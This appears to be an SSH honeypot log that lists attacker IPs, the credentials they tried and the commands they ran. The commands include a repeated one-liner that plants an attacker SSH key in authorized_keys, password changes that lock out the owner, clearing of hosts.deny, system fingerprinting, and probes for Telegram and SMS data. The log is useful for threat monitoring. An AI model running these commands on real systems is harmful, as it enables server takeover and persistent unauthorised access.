$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

🎭 windmill_sol_7 (2.57.122.238) — Amsterdam, The Netherlands · 1 session · 1 cmd

2026-07-13 00:26 EDT · as solana/solana

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ /bin/./uname -s -v -n -r -m // obfuscated system check

🎭 wraith_root_21 (46.24.47.94) — Madrid, Spain · 1 session · 20 cmds

2026-07-12 23:17 EDT · as ansible/ansible123!

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "ansible123!\nozxExo2MHKFO\nozxExo2MHKFO"|passwd|bash

$ Enter new UNIX password:

$ echo "ansible123!\nozxExo2MHKFO\nozxExo2MHKFO\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 jade_root_8 (222.244.170.211) — Changsha, China · 1 session · 1 cmd

2026-07-12 19:29 EDT · as root/------fuck------

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -m

🎭 strudel_sol (164.90.178.166) — Frankfurt am Main, Germany · 1 session · 1 cmd

2026-07-12 18:22 EDT · as solana/solana

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ /bin/./uname -s -v -n -r -m // obfuscated system check

🎭 cowboy_root_10 (92.118.39.71) — Dallas, United States · 1 session · 9 cmds

2026-07-12 16:10 EDT · as root/000000

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'execute_err='; out=$(bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' "$out" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" // make executable

$ uname -s -v -n -m 2 > /dev/null

$ /bin/uname -s -v -n -m 2 > /dev/null

$ /usr/bin/uname -s -v -n -m 2 > /dev/null

$ busybox uname -s -v -n -m 2 > /dev/null

$ ( [ -f /proc/version ]

$ [ -f /proc/version ]

$ head -1 /proc/version | cut -d -f1

$ [ -f /etc/os-release ]

🎭 dragon_root_7 (110.42.64.229) — Ningbo, China · 1 session · 1 cmd

2026-07-12 14:55 EDT · as root/------fuck------

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -m

🎭 star_root_4 (184.168.21.211) — Tempe, United States · 1 session · 19 cmds

2026-07-12 11:34 EDT · as root/test12345

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:5PoSxi3EoBBi"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 bike_sol (91.92.42.7) — Amsterdam, The Netherlands · 3 sessions · 3 cmds

2026-06-28 19:31 EDT · as admin/123123, root/123456, teamspeak/123456

Ran uname 3x across 3 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×3

🎭 hanbok_root (211.106.133.202) — Songpa-gu, South Korea · 1 session · 20 cmds

2026-07-12 08:38 EDT · as ubuntu/a12345678

Ran uname 2x across 2 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "a12345678\nxqOLTDp87DZD\nxqOLTDp87DZD"|passwd|bash

$ Enter new UNIX password:

$ echo "a12345678\nxqOLTDp87DZD\nxqOLTDp87DZD\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 burger_root_7 (23.95.220.221) — Buffalo, United States · 1 session · 1 cmd

2026-07-12 07:10 EDT · as root/------fuck------

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -m

🎭 stroopwafel_sol_7 (91.92.47.120) — Eygelshoven, The Netherlands · 1 session · 1 cmd

2026-07-12 07:05 EDT · as plex1/odoo18

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m

🎭 bike_root (2.57.122.168) — Amsterdam, The Netherlands · 4 sessions · 36 cmds

2026-07-03 07:47 EDT · as admin/123123, admin/admin, root/12345

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'execute_err='; out=$(bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' "$out" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ×2 // make executable

$ uname -s -v -n -m 2 > /dev/null ×4

$ /bin/uname -s -v -n -m 2 > /dev/null ×4

$ /usr/bin/uname -s -v -n -m 2 > /dev/null ×4

$ busybox uname -s -v -n -m 2 > /dev/null ×4

$ ( [ -f /proc/version ] ×4

$ [ -f /proc/version ] ×4

$ head -1 /proc/version | cut -d -f1 ×4

$ [ -f /etc/os-release ] ×4

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; echo; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; echo; cat /proc/device-tree/model 2>/dev/null; echo; lscpu 2>/dev/null | grep "Model name" | cut -d: -f2-; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ×2

🎭 wraith_root (5.187.97.40) — Pointe-à-Pitre, Guadeloupe · 2 sessions · 18 cmds

2026-06-28 13:03 EDT · as pi/raspberry, root/123456

network mapping → OS/kernel identification → CPU profiling

$ /ip cloud print ×2

$ ifconfig ×2 // network mapping

$ uname -a ×2 // OS/kernel identification

$ cat /proc/cpuinfo ×2 // CPU profiling

$ ps | grep '[Mm]iner' ×2

$ ps -ef | grep '[Mm]iner' ×2

$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/* ×2

$ locate D877F783D5D3EF8Cs ×2

$ echo Hi | cat -n ×2

🎭 windmill_sol_3 (91.92.40.151) — Amsterdam, The Netherlands · 5 sessions · 5 cmds

2026-07-04 15:48 EDT · as admin/123123, admin/admin1234, pi/raspberry

Ran uname 5x across 5 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×5

🎭 k-pop_root_4 (175.199.7.55) — Changwon, South Korea · 1 session · 1 cmd

2026-07-12 03:45 EDT · as www-data/www-data

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a // OS/kernel identification

🎭 star_root_9 (216.9.225.108) — New York, United States · 5 sessions · 5 cmds

2026-07-12 02:35 EDT · as root/jimster!@#

hostname; → echo

$ hostname; ps aux | grep -E "notwork|netcache" | grep -v grep | head -2

$ echo START; hostname; id; uname -a; ps aux | grep -E 'notwork|netcache|netwatcher' | grep -v grep; echo END

$ echo OK; hostname

$ hostname; uname -a; ls /usr/local/bin/ 2>/dev/null

🎭 blitz_root_3 (178.105.77.12) — Falkenstein, Germany · 2 sessions · 39 cmds

2026-07-12 01:53 EDT · as admin/123123, root/Admin123456@@

hostname; → echo

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2 // CPU profiling

$ echo "root:98iC7HDIupWg"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2 // persistence setup

$ w ×2 // logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2 // CPU profiling

$ top ×2 // process monitoring

$ uname ×2 // OS identification

$ uname -a ×2 // OS/kernel identification

$ whoami ×2 // privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo -e "123123\ncVwFOTPsO8hs\ncVwFOTPsO8hs"|passwd|bash

$ Enter new UNIX password:

$ echo "123123\ncVwFOTPsO8hs\ncVwFOTPsO8hs\n"|passwd

🎭 rogue_root_3 (190.181.25.210) — La Paz, Bolivia · 2 sessions · 39 cmds

2026-07-12 02:01 EDT · as admin/123123, root/Admin123456@@

hostname; → echo

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2 // CPU profiling

$ echo -e "123123\nwOn7ZOaRAG8m\nwOn7ZOaRAG8m"|passwd|bash

$ Enter new UNIX password:

$ echo "123123\nwOn7ZOaRAG8m\nwOn7ZOaRAG8m\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2 // persistence setup

$ w ×2 // logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2 // CPU profiling

$ top ×2 // process monitoring

$ uname ×2 // OS identification

$ uname -a ×2 // OS/kernel identification

$ whoami ×2 // privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo "root:BlXUoxFfriY4"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

🎭 jade_root_9 (218.78.64.229) — Shanghai, China · 1 session · 20 cmds

2026-07-12 00:51 EDT · as sysadmin/123456

hostname; → echo

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "123456\nxL9BMlIJryDp\nxL9BMlIJryDp"|passwd|bash

$ Enter new UNIX password:

$ echo "123456\nxL9BMlIJryDp\nxL9BMlIJryDp\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 phantom_root_8 (103.164.9.74) — Karachi, Pakistan · 1 session · 20 cmds

2026-07-12 00:45 EDT · as angie/angie

file attribute tampering → SSH key persistence → CPU profiling

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "angie\nqTVEaNwhgttj\nqTVEaNwhgttj"|passwd|bash

$ Enter new UNIX password:

$ echo "angie\nqTVEaNwhgttj\nqTVEaNwhgttj\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

